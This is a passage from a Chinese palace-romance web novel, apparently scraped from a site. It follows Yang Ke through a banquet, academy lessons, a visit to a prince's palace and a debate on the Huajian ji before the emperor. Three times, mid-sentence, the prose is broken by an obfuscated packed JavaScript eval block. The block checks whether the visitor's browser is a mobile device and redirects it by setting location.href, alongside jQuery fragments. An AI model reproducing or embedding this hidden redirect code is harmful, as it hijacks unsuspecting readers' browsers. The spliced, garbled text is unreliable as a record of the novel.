于是随口诹了个幌子:“自然是听过。但我不过是一介平民,没机会见到宣王。” 杜衡闻言点了点头,便不再说什么了。 见她的注意力又回到席上,杨柯才松了口气,低头一看,手心已经是满满的汗。 宴席到了后半,天色也渐晚,见皇帝和后妃都已回宫,不少人索性离了位子,跑到别处聚在一起。乐白跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15207056|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着几个女使倚在湖边的白玉栏杆上把玩着什么,阵阵笑声络绎不绝。附近宇文拓同几个皇子在一起品酒作乐,声浪仿佛过年的炮仗,一浪高过一浪。他们的欢歌笑语此刻却如毛刺一般挠得杨柯心乱如麻,心头仿佛被一团棉花堵住,想要用力击打却软软绵绵地毫无作用,想要使劲拨开却越散越多。无奈之下,只好往嘴里一杯又一杯地灌酒。 杨柯对着身旁的云昌吉嘱咐道:“昌吉,等会儿青桃若要寻我,就告诉她我在附近,让她莫要来找我。” “好,好。”昌吉心不在焉,他的视线就跟夏天草丛里的蚊蚋一样,围着场上的舞女打转,根本无暇顾及其他。 见他这痴呆模样,杨柯也懒得理会,索性直接起身离开。正穿过人群,埋首快步走着,没想到迎面撞上了来人的胸口。 “哎哟!”脚下步子太急,杨柯与对面的胸膛撞了个实实在在。 来人小心询问道:“没事吧?” 杨柯按着额头,欲要张嘴呵斥:“你走路怎么不看……”可刚一抬眼,便被生生地噎了回去。面前不是别人,正是宇文伯喻。这一瞬她才明白什么叫作“择日不如撞日”。暖黄色的烛光映照在他的脸上,她的心跳不禁漏了一拍,只是愣愣地看着他。 对面眉眼含笑:“几日不见,认不出我了?” 杨柯尴尬笑道:“殿下何其出众,仅仅一面之缘便叫人难忘。臣很早便听闻殿下的才华,没想到前几日在殿下面前班门弄斧,真是羞愧。” 他的眼底闪过一丝失落,脸上仍是和煦的微笑:“说来抱歉,之前骗了你。但我本意是想与你做朋友,并不想让身份干扰了你我的情谊。” 若是旁人这么讲,杨柯多半觉得敷衍虚伪,但从伯喻口中说出来,她反而感到欣喜,于是也对他笑道:“这算不了什么。能得一知己,当是人生幸事。”又对他关心道:“撞得疼不疼?” 伯喻笑着摇头:“我没事。阿柯,看你脚步匆匆,有什么急事吗?” 杨柯心想,能有什么急事,还不是因为你? “七月初七,自然是去找情郎。”宇文泰从台阶上信步走了下来,表情依然是平常那副欠样。 杨柯自知心中有鬼,目光不敢同他对视,只是垂眸朝他福身行礼。 宇文伯喻反而调侃道:“真的?那我岂不是又坏了你的好事?” 杨柯闷闷道:“你听他胡说,哪有这回事。” 宇文泰剑眉挑起:“那你急匆匆的要去干什么?” “我……我是去……去找青桃,这丫头走了许久也不见回来,这么晚了,我担心她是不是出了什么事。” “是吗?我方才还见她在座席上斟酒,怎么到你嘴里就不见了?” 人在一生中总会碰到一些人,专在你最狼狈时现身,但其目的并非雪中送炭,而是嫌这境况还不够恶劣,再来雪上加霜,宇文泰对于杨柯而言,便是这一类人。 杨柯飞瞄了一眼伯喻,见对方也疑惑地看着她,于是装作惊讶道:“原来她回来了,多谢羲王殿下提醒。” 没成想宇文泰竟也脸皮厚地应了下来,转头对伯喻道:“老七,适才父皇倒是在找你,有些军粮上的事要同户部商讨。” 伯喻立即道:“好,二哥,那我们即刻前去吧。”说完,便朝杨柯拱手道歉,“阿柯,看来今晚不能和你畅叙了,改日我们再一同喝酒?” 杨柯扯出一个微笑:“当然可以。” 他颔首微笑,回身同宇文泰一齐离开了。 望着他远去的背影,杨柯的心里竟感到空落落的,好像儿时偷尝了爹爹剩在桌上的最后一口酒,入口时微醺甘甜,还想再抿一口却没有了,只能委屈地就着回忆仔细咂摸。 12.上学 很快过了一月,伴读考核通过,便到了正式开学的首日。 崇文馆坐落于承影湖畔,而此次上课地点,已由馆内迁至承影湖中央的湖心亭。此亭建于湖心的一座小岛上,遥遥望去,松风鹤影,鸟鸣花浮,鱼乐泉飞。 杨柯手撑着头,惫懒地观景神游,心里啧啧感叹,这地方既宽展又幽静,要是小时读书也有这么好的环境,哪里还会犯困。正想着,却见众人纷纷起身,作揖行礼。 她转首一看,原来是以宇文拓为首的皇子们正款款走来。宇文拓身旁的宇文泰今日穿的一身玄色,显得人神采奕奕。不过她的视线瞬间便被他俩身后的伯喻勾去,他身着天水碧的锦袍,质地细腻,称得他眉目间英气俊朗,与前几次的一身雪白不同,今日恍若竹林仙人,楚楚风流。 “诸位客气。”众人纷纷落座。不出多时,只见一白发老头一手拿着竹简、一手抚着长须,信步入内。他尚未坐下,便环顾四周,悠悠开口道:“诸位,今日为师给你们讲《道德经》。”此人便是御书院的司业范晋了。 杨柯听着范晋的声音,语调平顺,如念经一般,眼皮子开始打战。另一边的云昌吉索性打起了瞌睡。这云昌吉虽是个天赋不错之辈,但也对这些治经之言毫无兴趣,更受不了先生催眠一般的讲书,只能用手扶着额,挡着半张脸蒙混过去。 范晋正口沫横飞,忽然停顿片刻,目光停留在云昌吉那里,面色渐肃:“昌吉,为师问你。” 云昌吉本来快要睡倒过去,听到自己被叫,一个激灵坐直了身子,应声道:“回先生,今日讲的是《道德经》。” 说完,众人哄堂大笑,范晋面色一黑:“我还未提问,你怎么就知晓答案了?” 云昌吉见乐白对他一个劲儿地猛摇头,才反应过来,忙找补道:“弟子知道老师想问什么,这不是提前说了,刚好省去了老师的麻烦。”说完对着范晋嘿嘿直笑。 范晋扬眉道:“所幸你还知道我们今天讲的是哪本书。” 云昌吉听了忙点头,顺势坐直了身子,用动作向老师展示诚意。 宇文拓在一旁邪笑道:“我看昌吉啊,是书未读透,心倒先飞到九霄云外,连夫子的问题都能未卜先知了。” 范晋面色难看起来,这时,伯喻起身作揖道:“先生息怒,昌吉或许只是无心之言,他平日里对学问也是颇为上心的。我们从小一同长大,兄弟之间,偶有玩笑,还望老师不要见怪。” 范晋打量了他们三人一圈,捋着胡须道:“好了,学问之道,贵在诚心与专注,而非口舌之争。阿拓,你是皇长子,应当以身作则。” 云昌吉感激地看了伯喻一眼,又向范晋深深一揖。宇文拓虽然心中仍有不甘,但也只好收敛了锋芒,默默点头应允。 房内的气氛由紧张转为和谐,众人再次将注意力集中到了眼前的书卷之上。 杨柯看向宇文拓那边,他的座位挨着宇文泰,二人平常又如影随形,于是便暗自嘀咕:“不是一家人,不进一家门。” 旁边的章可馨听到了她的话,瞪了她一眼。杨柯感受到她的目光,也回瞪过去。 “上节课纪夫子同你们讲了些《道德经》,今日为师也讲了一遍,你们背诵的情况如何呢?” 范晋的目光落定在前排的宇文泰身上:“泰儿,《道德经》第五十一章,第一句是什么?” 宇文泰拱手而立,怡然自若:“回先生,其政闷闷,其民淳淳;其政察察,其民缺缺。” 范晋满意地点了点头:“接下来由你指定人选。若是接不下去的,便自行去外面跪着吧。” 此言一出,众人皆哗然。都是府中千金少爷,哪里受到过如此严苛的对待。一时之间,气氛骤然紧张。 宇文泰面上浮起一抹浅笑,启唇道:“今年入宫的女使中,有一位也是李太傅的学生,弟子认为,不如就让师妹来接。” 杨柯顿时愣在原地,却听范晋扬声道:“哦?黎初的弟子也来了?”目光在众人中间搜寻着。 她极不情愿地举起手:“先生,是我,弟子名唤杨柯。” “好,阿柯,你来接上泰儿的下一句。” 杨柯干咽了口水,心里直发毛,抬眼瞥向身旁的云昌吉,所幸昌吉机灵,拿手指蘸墨,在桌子上把答案写了下来。 范晋看着杨柯点头微笑,一手背在身后,一手抚着白髦,对她很是看好。 杨柯心虚地冲他笑了笑,随即向云昌吉的桌上瞥了一眼:“祸兮……福……所……” “杨柯,”眼看着范晋的眉头皱了起来,他的目光最终还是落向了云昌吉的手,“答案不在你的心里,难道在同窗的桌子上?” 杨柯心底暗叫完蛋,眼见着众人哄笑开来,有的转首瞥向他们这边,目光中难掩轻蔑。她沮丧地瞅了云昌吉一眼,他也红着脸垂下头。 “弟子忘了后面一句。”她根本没背过这本书,更别提哪章哪句了。 “先生,这几日阿柯陪着我温书,或许是昨夜睡得太晚,白天精神不好,一紧张便忘记了。”乐白见范晋面色青白,赶忙帮她解释。 刘悦在一旁添油加醋:“甲等的水平,要是真温过书,难道连这前两句都不记得?” “阿柯是第一次来上课,《道德经》的内容她并未上过,背不出也是常理。”乐白的话竟然起了反作用,范晋的语气更加严厉:“不会便是不会,如实说就是,为何还要边上人帮忙?杨柯,今日是我第一次为你上课,并不想闹的太难看,可是规矩就是规矩,你出去罢。”范晋爽快地挥手,目光并不看她。 伯喻开口劝道:“范夫子,杨姑娘是女子,也是第一次上先生的课,若直接让她跪坐于烈日之下,恐怕并不合适。” 杨柯正为他此举暗喜着,却听见一道不咸不淡又惹人烦的声音在第一排响起:“女子又如何?同是女子,如今公孙先生也身居要职。师妹向来遵守规矩,我想她应该不希望自己被区别对待吧?” 杨柯咬牙切齿道:“师哥说的是,无论男女,皆需恪守规矩。”她站起身,向范晋拱手鞠躬,“多谢先生赐罚。” 乐白与昌吉皆忧心忡忡地看着她。她朝二人轻轻摇头,以示无需挂怀,唯独不敢去望伯喻的神情。 “好,杨柯,为师赞赏你敢做敢当的态度。”范晋现下倒是对她投向了欣赏的目光,不过下一句话还是让杨柯觉得他面目可憎,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221466|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下次课前,到御书院来,没背过,不许来上课。” “是。”杨柯像霜打的茄子一般垂着头走了出去,烈日曝晒对她来说倒是次要,在伯喻面前丢脸才是头等大事。 掀开门帘,一阵热浪猛扑过来,好像要将她整个身子吞掉,脚底下仿佛踩在炭火上炙烤,她被烫得像个猿猴似的原地乱跳。 这湖心亭四四方方,设计之初便有避暑之意,穿堂风吹过尤其凉快,可在亭外就是截然相反了。正午的日头尤其毒辣,晒得影子都萎缩起来。阳光穿透眼皮,只能眯缝着眼睛,汗水又顺着额头滑落下来,糊进了眼皮,闭也闭不得,睁也睁不开。杨柯只能一边抹汗,一边遮眼,脑袋里越来越晕乎,手里的书本看也看不清,记也记不住…… “睁眼了!”“醒了醒了!” 叽叽喳喳的声音涌入耳朵,杨柯费力地睁开眼,一阵凉风吹过,方才的燥热一扫而空。凝神一看,原来已经到了屋内。 适才她被晒得晕了过去,刚巧被坐在窗边的人发现,于是将她抬了进去。这时,众人趋首上前,围成一团,眼睛睁得大大的,仿佛在看街上的猴子似的。 乐白关切地问道:“阿柯,现在感觉如何?” 范晋也躬身询问:“现在好点了吗?”一边捋须长叹,“为师不该让你去外面罚站的,在里面站着就是了,哎呀!” 听了这话,杨柯差点儿没再晕过去,“好……渴。” “拿水来。”头顶传来宇文泰的声音。杨柯脑中警铃大作,猛地抬头寻找他的身影。还没等四目相对,便眼前一黑。 恍惚中,听到章可馨的声音:“杨柯,虽然你没什么礼数,但你还真是我见过的人里最冥顽不灵的。先生让你出去跪着,你偏逞这个强做什么?”不知她这是嘲讽还是关心。 刘悦咂咂嘴:“不是李太傅的关门弟子么?怎么连《道德经》都背不出来?” 这句话仿佛点燃了星星之火,人群中议论之声开始响起。“是啊,不知道她是怎么进来的。” 范晋沉声道:“怎么又在逞口舌之快了?” 议论之声稍稍停息,但有人小声反驳:“不过是关系户罢了,有什么了不起的。” “考试之事,乃国之朝纲,不容议论。”伯喻的声音响起,窸窣之音顿时一挥而散。杨柯感激地看向他,伯喻回以微笑。目光收回之时,她瞥见宇文泰的神情复杂,仿佛在思索着什么。 来不及细想,乐白向她递来水杯,“来,先喝点水。” 杨柯的喉咙早就干涸如戈壁,见了水更是两眼发光,接过水杯后急忙吞咽下肚,可速度太急,猛地呛在了喉咙里,一个没忍住尽数喷了出来,完完整整地落在了正对着自己的宇文泰身上。 一瞬间,亭内安静得异常。 宇文泰的上身被悉数淋湿,一滴水正顺着他的下颌明晃晃地滑下来。 杨柯瞪着那滴水点子,啪嗒一声坠到地上,她的心尖儿也跟着一抖。眼睛重又往上探去,只见他垂眸打量着自己,伸手慢慢地拂过脸上的水珠,再抬起眼睫时,那黑瞳里燃起了火星子,越烧越旺,快要喷将出来了! 杨柯赶紧拽起一旁呆住的乐白:“快跑!” 13.借书 一直到隔天纪夫子的课上,只要在路上见到穿着玄色长衣的男子,杨柯心里便直打哆嗦。好不容易熬到了上课,终于见到了这尊活佛,本以为他会找自己麻烦,他却好像失忆了一般,仍是平常那副冷傲样子。 杨柯转念一想,自己并未做错什么,明明是他害得自己在太阳底下跪了足足一个时辰,吐点水在他身上也算是精神补偿。这样想来,心中的压力顿时消失了,只觉得这几日白白担惊受怕,遭了这么多罪,心中对宇文泰的怨念又深了一层。 下了课后,便去御书院找范老头背书。 “阿柯,你要去哪儿?”正走在路上,云昌吉从身后追了上来。 “御书院。”云昌吉拍了拍她的肩膀,似乎是传达安慰之意。杨柯知道昌吉如今是宇文泰的伴读,更没好脸色了:“你少来我面前得意。” 昌吉反倒哈哈大笑:“枪打出头鸟。没想到从小跟着我的小弟竟成了二皇子的眼中钉,不知道是好事还是坏事。” 杨柯嘲讽道:“要我看,你入宫才几天就帮着他说话,可不是什么好事。” 云昌吉反问道:“你哪只耳朵听见我不向着你了?” 杨柯道:“你若要向着我,就帮我一个忙。” 经验告诉云昌吉,事情没有这么简单,他抽了一口冷气:“阿柯,这可不是在宫外,更不是杨府,你要是乱来……” 杨柯截住他的话茬:“怕什么?我又不会害你。” 云昌吉收敛了惧意,等着她继续说下去。 “这宇文泰平日里……可有什么禁忌?” 云昌吉结结巴巴道:“你……你指的是哪方面?” 杨柯直敲他脑门:“想什么呢你!” 他皱着眉头,摸着脑袋,半晌才挤出句话:“别的我不知道,倒是听小顺子说过,羲王对外表甚是讲究,衣服必须要熏够香才能穿。” 杨柯眼睛一亮,手搭到云昌吉的肩上:“到时候就拜托云兄帮小弟一把了。”说完便一溜烟儿跑走了。 云昌吉一脸茫然:“什么啊?别拉我下水就行。” 到了御书院,杨柯终于磕磕巴巴地背完了,范老头也终于点头通过。 “阿柯,你如今背了这部《道德经》,对老子所言有何看法啊?” 杨柯心想,有何看法?晚上一觉睡去便能忘得干干净净。她胡诌道:“弟子认为,老子说的没孔子来的好。” “哦?说来听听。” “老子不要皇帝,孔子要皇帝。”范晋刚喝进嘴的一口水登时喷了出来。杨柯抬手拂了拂衣衫上的水珠,看来不止是自己容易被水呛,范先生也一样,果然是有其徒必有其师。 “你……你这是什么歪门邪理。”范晋抹了抹胡须上的水滴,低声道,“这样的话可不要在外面胡说!” 杨柯倒是嬉笑:“看来弟子说的没错咯。” 他撇嘴道:“倒是话糙理不糙。这老子讲究无为而治,孔子嘛……” “好了好了!”杨柯赶紧截下他的话,“先生,背完了书,可以走了吧?” 范老头摇着头念叨了起来:“孔子讲究的呢,是君臣有序……” 杨柯兀自反身走开,他忙招呼道:“哎!等等!” 杨柯无奈地看着他:“夫子,又怎么了?” 范晋嘿嘿一笑:“老师还有一事。” “什么事?” “麻烦阿柯跑一趟,去帮为师借一本书。” “这么大的御书院,还不够您读的?” “哎呀,读不在多,况且先贤著作卷帙浩繁,哪里有个尽头?” 杨柯无奈抱胸道:“您说得倒也有理。那您要去哪儿借?” 范晋啧啧嘴:“倒也不远,几步路便走到。就在东侧的武华殿。” “没弄错吧,武华殿?”杨柯心想,他不该叫范晋,该叫范剑。于是一口回绝:“这事儿恐怕弟子无能为力。” “为何?宫中有伴读不能进入皇子宫殿的规定?”范晋一脸无辜地看着她,手里还在捋着他的长须。 杨柯望着他垂下的白髯,只想硬生生拽下来:“先生为何不自己去?” “为师事务繁忙,这皇宫又那么大,哪有空闲专门去跑一趟呢?”范晋摇着头感叹。 “方才您不是还说走几步路就到了吗?” “那是你们年轻人,我年事已高,岂能同日而语?”这时候反而倚老卖老起来了。 “先生为何不找书童去,非得让弟子去?” 范晋摆摆手:“书童去,还要向后宫禀报,你,直接去就是了,多省事儿啊。”可真是打的一番好主意。 杨柯无奈接下:“那先生要借什么书?” 老头一只手慢慢捋着长须,一边拿笔写着什么:“贾谊的《治安策》。此书早已绝版,现下宫中除了陛下的书房,只有武华殿藏有了。” 杨柯暗自嘀咕:“那还真是稀奇。” 范晋抬眼瞧了瞧她,笑了一声:“阿柯啊,这人生在世,要能屈能伸,去个武华殿有什么的,你若是借来了书,我定当奖励你!” “什么奖励?”说到这个杨柯可就来劲了。 他眼珠子转了转,缓缓道:“免你下次体罚。” 杨柯跳了起来:“好你个老头!诓我呢!” 范晋笑道:“哪里哪里,你能保证下次一定能背出来?”见她迟疑,又继续道,“看,我这不是在帮你吗?” 杨柯拿他没办法,只好乖乖领命,往武华殿去。 到了殿门前,杨柯敲了敲宫门,大门开了个缝,一个小太监探出了头:“姑娘是来?” “我是杨柯,今年进宫的女使,俸范晋先生之托来找殿下借书。” 小太监憨厚地笑了笑:“您稍等,奴才这就去禀报。”说完,圆头便溜进了门缝里。小圆头忘了关门,里面的丝竹管弦之声漏了出来,还有男女的喧哗声,着实吵闹。 不出一会儿,大门打开了,圆头向她恭敬地福了福身,领着她往里走。越走近正殿,喧闹声越是清晰。杨柯心生好奇,大中午的,宇文泰怎么在殿中设宴取乐? “殿下输了!快喝!” “这局不算,再来再来!”宇文拓的声音盖过了音乐,紧接着又是几个撒娇的女声,酥麻之程度不亚于杨柯平日里在紫英阁里见到的姑娘们。 圆头领着她进了门,方才耳中的嬉闹终于有了画面:大厅中央横着一座蜿蜒如巨龙的酒池,池中酒液一半清澈,一半鲜红。酒池边上,宇文拓衣襟半敞,面色潮红,手持金杯,大口痛饮。怀中的两名乐姬身着轻纱,体态婀娜,身侧还有两个同样衣着性感的侍女,手持银筷,为他夹取食物,偶尔还会轻声细语地与他调笑。一旁的宇文泰也左拥右抱,一个半袒香肩的乐姬正往他嘴里递葡萄。 “二位爷,杨姑娘来了。”小圆头战战兢兢地开口,杨柯也跟着欠身行礼。 宇文拓放开了怀里的几位美姬,饶有兴致地看向杨柯,站起身向她走去:“哟,这不是大才女杨柯么?怎么,被范老头折磨完了,也想过来跟我们一起爽爽?” 酒气迎面扑向杨柯,她下意识地往后退了几步,与他拉开了距离,目光看向仍然斜靠在塌上的宇文泰:“端王殿下说笑了,我就是来借书的,拿到书了便走。” 宇文泰正用嘴接过怀中乐姬递来的酒杯,当她是空气一般。 斜倚在榻上的一个乐姬嗤笑一声:“借书?”说完望向四周的女子,皆哂笑起来。 宇文拓目露凶光:“笑什么笑?” 众人皆敛声屏气,即使端王背对着她们也不敢做声,只有宇文泰在一旁悠然倒酒。 “你觉得借书很好笑?”宇文拓缓缓转过头去,目光落在方才嬉笑的女子身上,语气中透露出一丝轻蔑。 那女子颤抖着摇了摇头。 “笑便是笑了,摇头作什么?”他的语气温柔,让人误以为在鼓励着女子继续说下去。 女子见他脸色放缓,以为自己的态度并无大碍,于是便顺着他的意思说了下去:“柔伊是在笑她故作姿态,如今哪里有人愿意看书的。” 突然,宇文拓指着她狠狠道:“把她给我拖下去打一百大板!” 一百大板!这酷刑放在壮年男子身上,也得半身不遂,何况是娇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227491|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滴滴的女子。 柔伊立刻花容失色,连跑带摔地冲过来跪在宇文拓脚边,哭着哀求道:“殿下,饶命呐,殿下,柔伊失言了,柔伊再也不敢了。” 宇文拓不为所动,狠狠踹了她一脚:“还不快来给我拖下去!”殿外的几个侍卫跑了进来,将柔伊拖走。柔伊拼命挣扎着,但她的哭声越来越远,伴随着一声尖叫后彻底没了声音。 殿内一片寂静,宇文拓将目光重新放到杨柯身上,眼中满是狠戾:“哼,这年头还有人把看书当回事儿?真是可笑至极。学那些老子孙子,只会写点儿用来擦屁股的废纸!” 目睹了他这一通匪夷所思的操作,杨柯早已无语至极:“若是端王殿下自己无知,便不要责怪他人。没有御书院的先生们,哪来的济济人才,恐怕大夏朝也难以维续。” 宇文拓见她顶撞,原本因为醉酒而赤红的双目更加狠戾吓人,死死地盯着她,一字一句道:“你再说一遍。” “大哥何必与这野丫头置气,她连书都不会背,又懂什么治国之道。”坐着的宇文泰突然站起了身,目光在杨柯和宇文拓之间流转,“今日本是享乐,何必让一本书打扰了咱们的雅兴。” 宇文拓眼中的猩红熄灭了一些,他轻蔑地瞪了杨柯一眼,转身回到席上,一屁股坐下,继续喝酒。杨柯冷冷地看着他,脸上写满了厌恶。 宇文泰的目光看向杨柯,神色慵懒:“你要借什么书?” 二人目光相触:“《治安策》。” “随我来。”冷冰冰的眸子引着她走向侧殿的书斋。 进了书斋,与外殿给人的奢靡之感截然相反,屋里陈设典雅,正中央的花梨石案上磊着各种名人法帖、宝砚笔筒,西墙上挂着米襄阳的《烟雨图》和颜鲁公的对联。书架上的几本《孙子兵法》、《贞观政要》都翘起了书脚,书页也被翻的发黄发皱。虽然小时候杨柯跟着杨涛见了不少名人字画,但一次看到如此多的宝贝,她心里仍然暗自吃惊。 见杨柯的视线被吸引过去,宇文泰开口提醒:“你要的书。”抬手便将《治安策》扔了过去。杨柯将将接住,没好气地道:“递过来便是,何必要扔。” 宇文泰挑着眉眼不驯地看着她:“你以为呢?今日没把你轰出去就算好的了。” 杨柯嘲讽道:“本以为殿下腹中尚有些笔墨,那《贞观政要》的书封都磨破了皮,没想到是我弄错了。” 宇文泰一脸惫懒地靠近了她道:“杨柯,你若这么喜欢揣摩人,何不猜猜我现下在想什么?” 杨柯看着他的眼睛,在慵懒的背后察觉到了锐利,安静了一会儿,才慢慢悠悠地开口回答:“当然是——不、知、道了。” “不知道也要说这么慢?” “宫里的贵人说话总是拖长了调子,我可是跟殿下学的。” 他轻轻一笑,杨柯抬眼看去,竟有一股落拓浪荡的好看。 宇文泰退后一步,与她拉开了距离:“你倒是挺会说笑。” 杨柯看他眼中的锋利褪去,也放松了下来:“哪里哪里,入乡随俗。” “我的意思是,”他收起脸上的笑容,眼眸也冷了下来,房内的气氛随之降温,“你毫不客气地顶撞端王,拿自己的性命开玩笑。” 杨柯也绷起脸来:“我只知道,王子犯法,与庶民同罪。即使顶撞了端王,他就能杀了我?” “还有一句话,叫刑不上大夫,法不下庶人。你难道没有看见柔伊的下场?” 她自知理亏,却不想在他面前败下阵来:“至少他不敢这样对我。” 宇文泰的舌尖抵了抵腮,凌厉的黑眸沉下:“我这个人,最讨厌涉人因果。若是听不懂,那便算了。” 杨柯不咸不淡地道:“若殿下不想干涉,早早收手便是。” 宇文泰面无表情地看着她,杨柯也回视过去,二人僵持了一阵,杨柯没耐心了,便开口道:“没有别的事,我就不打扰殿下和端王雅兴,先行告退了。”说完,便起身要往外走。 “借完了书,记得要还。”他漫不经心的声音在背后响起。 杨柯翻了个白眼:“是,羲王殿下。” 14.小十 几日后,又到了范晋的课上。范夫子今日心情甚好,广袖一飞:“今日课上,我们不讲《道德经》,来讲讲诗词。唐代的诗……” 听到诗词,杨柯登时竖起了耳朵,结果范晋却净拣些她不感兴趣的诗人来讲,又泄光了气,正感觉无聊乏味,耳边忽地传来胡乱捣鼓的声音,她侧首探去,才发现是庆宁郡主在磨墨。 这范晋规矩大,不允许带童子上课,所以磨墨这等体力活也得自己干。若是寻常的皇子公主倒还好,可庆宁郡主如今才刚满十岁,哪来的力气自己磨墨,于是在座位上吭吭唧唧半天,硬是没弄出点墨汁来。电光火石之际,杨柯将自己桌上的墨汁递给了她,所幸在范晋朝她们转头回来之前便坐回了原位。 “谢谢阿柯姐姐。”公主将手笼在嘴边悄悄对着她说。 “没事,你还缺什么,就同我说。”杨柯也对她做着口型,又瞧着她圆圆的脸,忍不住朝她眨了眨眼,可这小动作却被范晋看在了眼里。 “阿柯,为师看你在下面动作甚多,看来是有所思考咯?” 杨柯尴尬笑道:“哪里哪里,师父您继续讲,我就不给大家添乱了。” 宇文拓照旧落进下石:“范夫子,您今天还真是问对人了,这杨柯作诗可是一流,讲起诗词来,说不定比您还有几分新意呢。” 范晋闻言眼色一亮:“哦?阿柯,我方才讲的这段话,以你看来,应当如何解读?” 杨柯紧张得咽了口口水,她压根儿没听,哪知道范晋方才讲了什么。于是赶紧向边上的昌吉使眼色,她二人有了上次的教训,这回也不明目张胆了,昌吉用手掌掩着嘴,低声道:“花间集。” 幸好平日里光看诗词,这回杨柯总不会掉链子了,她立即道:“夫子今日所言,弟子大多都赞同,《花间集》乃词家之祖,夫子选这本来讲,当真妙极。” 范晋点点头:“嗯,那按你的意思,还有不赞同的地方,快讲与大家听听。” 杨柯心里一咯噔:“有倒是有些,但弟子不知当讲不当讲。” 范晋摆摆手:“诶!现在是课堂上,哪有什么顾忌的。” 杨柯开口道:“花间集全本共有十八首词,首首精妙,但也因为尽写闺阁情思而被诟病‘靡靡之音’,可奇怪的是,这些靡靡之音竟无一首是真正的女子所写。” 范晋听言点头:“嗯,方才我说整本词儿女情多,风云气少,乃是遗憾,不过你为何觉得没有女词人是遗憾呢?” 杨柯道:“既然要写闺阁题材,女子难道不比男子更明白?” 章可馨反驳道:“花间集明明抒发的是才子不得志之意,哪里是儿女私情?” 杨柯反问道:“既然才子自觉英雄无用武之地,又为何要假借女子之口表达?既然世人觉得男女之情难登大雅之堂,那男子为何又要写儿女私情?”一时间场上没了声音,众人皆陷入凝思。 范晋哈哈笑了出来:“好问题!大家有何想法啊?” 乐白首先开口:“妻子思念远方的丈夫,正如臣子想念朝廷的君主。以妇人思君不得的感情来写自己的不得志,‘可怜无定河边骨,犹是春闺梦里人’不就是个例子?” 杨柯又问道:“若男子也怕被君主抛弃,倒不如直接学着女子一样进宫侍奉皇帝,岂不是更直接一些?” “什么混账话!这能一样吗?”宇文拓扬声道,“要是男人不写,那你们女人写?我看女词人也没几个吧。” 杨柯又问道:“我倒想问问殿下,女词人少的原因为何?” 宇文泰道:“过往世人皆认为‘女子无才便是德’,有才的女诗人怎么会多?” 杨柯道:“殿下说得似乎有理,可到底是有才的女词人少,还是世间根本就容不下她们?朱淑真的才华不容小觑,但她只因想找一个爱的人嫁给他,结果却是不得善终,死后也没有埋骨之所。她犯的‘罪’,不过是和花间集的男词人一样罢了。” 伯喻沉吟道:“阿柯所言在理,能被记载下来的女诗人确实不多。不过,也有不少诗词中留下了女子的惊鸿一瞥。眉山苏轼的《定风波》里,柔奴跟随王定国远走岭南,东坡问其是否安好,她答,‘此心安处是吾乡’。我想,也许女人没有机会留下她们的思想,但若有一双发现美的眼睛,也不失为憾事。” “好!此心安处是吾乡,喻儿,她为何要这么答?”话音刚落,众人皆起身行礼,原是皇帝来了崇文馆。 伯喻长身一躬:“回禀父皇,苏轼认为,岭南乃贫瘠之地,可柔奴回来后反而‘笑时犹带岭南香’,于是苏轼问其缘由,柔奴才答,‘此心安处是吾乡。’” “好一个表里如一、乐观通达的女子!”皇帝笑赞道,“你们在讨论什么?为何讲起了诗词?” 范晋道:“启禀陛下,今日授课之时,臣为诸生讲授《花间集》。方才他们踊跃发言,直言心中所想,见解新奇独特,实在不错。” “哦?有何妙见?” 宇文拓抢先道:“杨柯认为女诗人不该被埋没,男子也不该越俎代庖,写女子的闺阁情思。” “听起来有几分新奇。”皇帝的语气里带了些火花。 伯喻道:“父皇,杨姑娘的言论看似离经叛道,但仔细想来,也不无道理。” 皇帝并不理会伯喻,而是看向杨柯:“杨柯,朕问你,你觉得如今朝廷内有无亏待女子呢?” 此言一出,亭内气氛彻底凝固了下来,方才那些讨论尚且还在诗词歌赋的层面,可皇帝这一问,直接引向了朝政之上。 杨柯道:“回禀陛下,臣不敢妄言,如今陛下重开女官制度,便是给了女子施展才华的机会,较之前朝,陛下此举尽显非凡卓识,实乃圣明之至。” 皇帝缓缓道:“你不必害怕,更不必急着恭维朕,说出你心中真实所想便是。” 杨柯抬头看向皇帝,见他面容平静,又瞄了一眼乐白,乐白默默地摇头,她垂眸道:“既然陛下如此开明,臣又有何理由隐瞒?臣之所言,皆为心中所想。只不过……” “只不过什么?” “只不过希望女官能够和男子一样,有自由婚配的权利。” 皇帝眯起双眼,剑眉挑起:“自由婚配?” 杨柯并未察觉到异样,又继续道:“是,臣听闻宫中有个不成文的规矩,凡是进入内廷的女官,不可与他人……” 伯喻忽然截道:“父皇,您日理万机,我们方才所论,不过是纸上谈兵罢了,还请父皇不必费心,当作玩笑听过就是。” 